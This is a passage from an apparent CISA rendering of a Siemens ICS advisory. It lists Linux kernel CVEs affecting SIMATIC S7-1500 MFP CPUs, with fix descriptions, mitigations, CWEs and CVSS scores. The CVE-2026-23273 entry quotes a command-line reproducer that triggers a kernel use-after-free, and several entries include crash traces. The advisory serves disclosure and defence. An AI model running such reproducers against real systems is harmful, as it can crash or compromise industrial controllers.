<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/131.html">CWE-131 Incorrect Calculation of Buffer Size</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23245</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: act_gate: snapshot parameters with RCU on replace The gate action can be replaced while the hrtimer callback or dump path is walking the schedule list. Convert the parameters to an RCU-protected snapshot and swap updates under tcf_lock, freeing the previous snapshot via call_rcu(). When REPLACE omits the entry list, preserve the existing schedule so the effective state is unchanged.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23245">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23270</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: Only allow act_ct to bind to clsact/ingress qdiscs and shared blocks As Paolo said earlier [1]: "Since the blamed commit below, classify can return TC_ACT_CONSUMED while the current skb being held by the defragmentation engine. As reported by GangMin Kim, if such packet is that may cause a UaF when the defrag engine later on tries to tuch again such packet." act_ct was never meant to be used in the egress path, however some users are attaching it to egress today [2]. Attempting to reach a middle ground, we noticed that, while most qdiscs are not handling TC_ACT_CONSUMED, clsact/ingress qdiscs are. With that in mind, we address the issue by only allowing act_ct to bind to clsact/ingress qdiscs and shared blocks. That way it's still possible to attach act_ct to egress (albeit only with clsact). [1] https://lore.kernel.org/netdev/674b8cbfc385c6f37fb29a1de08d8fe5c2b0fbee.1771321118.git.pabeni@redhat.com/ [2] https://lore.kernel.org/netdev/cc6bfb4a-4a2b-42d8-b9ce-7ef6644fb22b@ovn.org/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23270">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23271</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: perf: Fix __perf_event_overflow() vs perf_remove_from_context() race Make sure that __perf_event_overflow() runs with IRQs disabled for all possible callchains. Specifically the software events can end up running it with only preemption disabled. This opens up a race vs perf_event_exit_event() and friends that will go and free various things the overflow path expects to be present, like the BPF program.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23271">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/672.html">CWE-672 Operation on a Resource after Expiration or Release</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23273</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: macvlan: observe an RCU grace period in macvlan_common_newlink() error path valis reported that a race condition still happens after my prior patch. macvlan_common_newlink() might have made @dev visible before detecting an error, and its caller will directly call free_netdev(dev). We must respect an RCU period, either in macvlan or the core networking stack. After adding a temporary mdelay(1000) in macvlan_forward_source_one() to open the race window, valis repro was: ip link add p1 type veth peer p2 ip link set address 00:00:00:00:00:20 dev p1 ip link set up dev p1 ip link set up dev p2 ip link add mv0 link p2 type macvlan mode source (ip link add invalid% link p2 type macvlan mode source macaddr add 00:00:00:00:00:20 &amp;) ; sleep 0.5 ; ping -c1 -I p1 1.2.3.4 PING 1.2.3.4 (1.2.3.4): 56 data bytes RTNETLINK answers: Invalid argument BUG: KASAN: slab-use-after-free in macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) Read of size 8 at addr ffff888016bb89c0 by task e/175 CPU: 1 UID: 1000 PID: 175 Comm: e Not tainted 6.19.0-rc8+ #33 NONE Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014 Call Trace: dump_stack_lvl (lib/dump_stack.c:123) print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) ? macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) kasan_report (mm/kasan/report.c:597) ? macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) macvlan_forward_source (drivers/net/macvlan.c:408 drivers/net/macvlan.c:444) ? tasklet_init (kernel/softirq.c:983) macvlan_handle_frame (drivers/net/macvlan.c:501) Allocated by task 169: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/x86/include/asm/current.h:25 mm/kasan/common.c:70 mm/kasan/common.c:79) __kasan_kmalloc (mm/kasan/common.c:419) __kvmalloc_node_noprof (./include/linux/kasan.h:263 mm/slub.c:5657 mm/slub.c:7140) alloc_netdev_mqs (net/core/dev.c:12012) rtnl_create_link (net/core/rtnetlink.c:3648) rtnl_newlink (net/core/rtnetlink.c:3830 net/core/rtnetlink.c:3957 net/core/rtnetlink.c:4072) rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) netlink_rcv_skb (net/netlink/af_netlink.c:2550) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:727 net/socket.c:742 net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:131) Freed by task 169: kasan_save_stack (mm/kasan/common.c:58) kasan_save_track (./arch/x86/include/asm/current.h:25 mm/kasan/common.c:70 mm/kasan/common.c:79) kasan_save_free_info (mm/kasan/generic.c:587) __kasan_slab_free (mm/kasan/common.c:287) kfree (mm/slub.c:6674 mm/slub.c:6882) rtnl_newlink (net/core/rtnetlink.c:3845 net/core/rtnetlink.c:3957 net/core/rtnetlink.c:4072) rtnetlink_rcv_msg (net/core/rtnetlink.c:6958) netlink_rcv_skb (net/netlink/af_netlink.c:2550) netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344) netlink_sendmsg (net/netlink/af_netlink.c:1894) __sys_sendto (net/socket.c:727 net/socket.c:742 net/socket.c:2206) __x64_sys_sendto (net/socket.c:2209) do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:131)</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23273">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23274</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: xt_IDLETIMER: reject rev0 reuse of ALARM timer labels IDLETIMER revision 0 rules reuse existing timers by label and always call mod_timer() on timer-&gt;timer. If the label was created first by revision 1 with XT_IDLETIMER_ALARM, the object uses alarm timer semantics and timer-&gt;timer is never initialized. Reusing that object from revision 0 causes mod_timer() on an uninitialized timer_list, triggering debugobjects warnings and possible panic when panic_on_warn=1. Fix this by rejecting revision 0 rule insertion when an existing timer with the same label is of ALARM type.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23274">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/908.html">CWE-908 Use of Uninitialized Resource</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23277</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: teql: fix NULL pointer dereference in iptunnel_xmit on TEQL slave xmit teql_master_xmit() calls netdev_start_xmit(skb, slave) to transmit through slave devices, but does not update skb-&gt;dev to the slave device beforehand. When a gretap tunnel is a TEQL slave, the transmit path reaches iptunnel_xmit() which saves dev = skb-&gt;dev (still pointing to teql0 master) and later calls iptunnel_xmit_stats(dev, pkt_len). This function does: get_cpu_ptr(dev-&gt;tstats) Since teql_master_setup() does not set dev-&gt;pcpu_stat_type to NETDEV_PCPU_STAT_TSTATS, the core network stack never allocates tstats for teql0, so dev-&gt;tstats is NULL. get_cpu_ptr(NULL) computes NULL + __per_cpu_offset[cpu], resulting in a page fault. BUG: unable to handle page fault for address: ffff8880e6659018 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page PGD 68bc067 P4D 68bc067 PUD 0 Oops: Oops: 0002 [#1] SMP KASAN PTI RIP: 0010:iptunnel_xmit (./include/net/ip_tunnels.h:664 net/ipv4/ip_tunnel_core.c:89) Call Trace: ip_tunnel_xmit (net/ipv4/ip_tunnel.c:847) __gre_xmit (net/ipv4/ip_gre.c:478) gre_tap_xmit (net/ipv4/ip_gre.c:779) teql_master_xmit (net/sched/sch_teql.c:319) dev_hard_start_xmit (net/core/dev.c:3887) sch_direct_xmit (net/sched/sch_generic.c:347) __dev_queue_xmit (net/core/dev.c:4802) neigh_direct_output (net/core/neighbour.c:1660) ip_finish_output2 (net/ipv4/ip_output.c:237) __ip_finish_output.part.0 (net/ipv4/ip_output.c:315) ip_mc_output (net/ipv4/ip_output.c:369) ip_send_skb (net/ipv4/ip_output.c:1508) udp_send_skb (net/ipv4/udp.c:1195) udp_sendmsg (net/ipv4/udp.c:1485) inet_sendmsg (net/ipv4/af_inet.c:859) __sys_sendto (net/socket.c:2206) Fix this by setting skb-&gt;dev = slave before calling netdev_start_xmit(), so that tunnel xmit functions see the correct slave device with properly allocated tstats.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23277">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23284</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: ethernet: mtk_eth_soc: Reset prog ptr to old_prog in case of error in mtk_xdp_setup() Reset eBPF program pointer to old_prog and do not decrease its ref-count if mtk_open routine in mtk_xdp_setup() fails.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23284">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23287</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: irqchip/sifive-plic: Fix frozen interrupt due to affinity setting PLIC ignores interrupt completion message for disabled interrupt, explained by the specification: The PLIC signals it has completed executing an interrupt handler by writing the interrupt ID it received from the claim to the claim/complete register. The PLIC does not check whether the completion ID is the same as the last claim ID for that target. If the completion ID does not match an interrupt source that is currently enabled for the target, the completion is silently ignored. This caused problems in the past, because an interrupt can be disabled while still being handled and plic_irq_eoi() had no effect. That was fixed by checking if the interrupt is disabled, and if so enable it, before sending the completion message. That check is done with irqd_irq_disabled(). However, that is not sufficient because the enable bit for the handling hart can be zero despite irqd_irq_disabled(d) being false. This can happen when affinity setting is changed while a hart is still handling the interrupt. This problem is easily reproducible by dumping a large file to uart (which generates lots of interrupts) and at the same time keep changing the uart interrupt's affinity setting. The uart port becomes frozen almost instantaneously. Fix this by checking PLIC's enable bit instead of irqd_irq_disabled().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23287">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/367.html">CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23290</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: pegasus: validate USB endpoints The pegasus driver should validate that the device it is probing has the proper number and types of USB endpoints it is expecting before it binds to it. If a malicious device were to not have the same urbs the driver will crash later on when it blindly accesses these endpoints.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23290">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
